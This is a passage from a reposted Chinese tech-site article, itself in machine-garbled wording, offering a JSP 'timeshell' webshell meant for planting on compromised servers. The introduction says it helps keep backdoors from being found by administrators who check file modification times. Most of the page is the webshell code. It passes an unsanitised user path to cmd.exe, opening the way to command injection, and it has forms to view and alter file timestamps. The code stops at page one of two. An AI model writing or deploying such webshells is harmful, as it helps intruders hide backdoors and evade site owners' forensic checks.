当前位置:七道奇文章资讯安全技术网络技术
日期:2009-10-26 02:05:00  来源:本站整理

JSP_改正文件时间的WEBSHELL[网络技术]

赞助商链接



  本文“JSP_改正文件时间的WEBSHELL[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

很多网站的管理员通过查看文件的改正时间定位被入侵后流下的网马与后门,因此改正文件的成立与改正时间可以有效的预防后门的泄露.
昨天研究了下,JSP只供应了改正“文件改正时间”的接口,却没有供应改正“文件成立时间”的接口,因此貌似只能改正“文件改正时间 ”,kj021320的JSP SHELL有这个功效,不过只能改正年代日,并且昨晚我碰到的RESIN 2.1.9 运行不了kj021320的那个SHELL,于是决意自己写个小的shell!
主要功效:
1.文件的时间属性查看,包含改正时间与成立时间;
2.文件改正时间的改正,切确到秒;
代码以下:
(Apache Tomcat/6.0.18下运行通过!)

复制代码代码以下:
<%@ page import="java.io.*" %>
<%@ page import="java.util.*, java.text.*" %>
<%@ page language="java" import="java.util.Enumeration" contentType="text/html; charset=GB2312"%>
<html>
<head>
<title>JSP timeshell by oldjun</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head>
<body>
<H1>JSP timeshell by oldjun</H1>
<%!
public static String getFileCreateDate(File _file) {
File file = _file;
try {
Process ls_proc = Runtime.getRuntime().exec("cmd.exe /c dir \"" + file.getAbsolutePath() + "\" /tc");
BufferedReader br = new BufferedReader(new InputStreamReader(ls_proc.getInputStream()));
for (int i = 0; i < 5; i++) {
br.readLine();
}
String stuff = br.readLine();
StringTokenizer st = new StringTokenizer(stuff);
String dateC = st.nextToken();
String time = st.nextToken();
String datetime = dateC.concat(" "+time);
br.close();
return datetime;
} catch (Exception e) {
return null;
}
}
String folderReplace(String folder){
return folder.replace('\\','/');
}
%>
<%
String action = null;
if (request.getParameter("action") == null)
action = "main";
else
action = (String)request.getParameter("action");
if (action.equals("main")) {
%>
<form name= form1 method="post" action="?action=getinfo">
filepath:<input name="file" type="text" size="100" />
(for instance C:/Program Files/Apache Software Foundation/Tomcat 6.0/webapps/ROOT/time.jsp)

<input type="submit" name="Button" value="getinfo"/>
</form>
<%
}else if (action.equals("getinfo")) {
String filepath = folderReplace(request.getParameter("file"));
File file = new File(filepath);
if(!file.exists()){
out.println("<script lanugage=\"javascript\">alert(\"file:"+filepath+" not find!\");history.back();</script>");
}
%>
filepath:

<%=filepath%>

lastModifiedtime:

<%=new Date(file.lastModified())%>

Createtime:

<%
String Createtime=getFileCreateDate(file);
out.println(Createtime);
%>

now:

<%
Date myDate = new Date();
out.println(myDate.toLocaleString());
%>
<form name= form2 method="post" action="?action=change">
<input name="year" type="text" size="10"/>year
<input name="month" type="text" size="10"/>month
<input name="day" type="text" size="10"/>day
<input name="hour" type="text" size="10"/>hour
<input name="min" type="text" size="10"/>minute
<input name="sec" type="text" size="10"/>second
<input name="file" type="hidden" value="<%=filepath%>" />

<input type="submit" name="Button" value="change"/>
</form>
<%
}else if (action.equals("change")) {
String url="?action=main";
String filepath = folderReplace(request.getParameter("file"));
String year = request.getParameter("year");
String month = request.getParameter("month");
String day = request.getParameter("day");
String hour = request.getParameter("hour");
String min = request.getParameter("min");

[1] [2]  下一页


  以上是“JSP_改正文件时间的WEBSHELL[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
  • 初学必备 JSP环境配置图文详解
  • 在IIS中实现JSP环境搭建
  • jsp服务器安全
  • JSP利用服务器搭建实施文档(Nginx+Tomcat)
  • Linux下搭建JSP环境
  • Ubuntu 11.04 LAMP+JSP环境安装历程
  • Ubuntu 11.04 LAMP安装配置+ 整合JSP全历程详解
  • Ubuntu 11.04 LAMP安装配置 + 整合 JSP 全历程详解
  • JSP中衔接SQL 2000数据库的问题总结
  • 配置nginx支持php,jsp,asp,aspx
  • 学Java-图书贩卖系统-我的订单列表界面orderList.jsp
  • 学Java-留言板-发言页面(JSP)
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .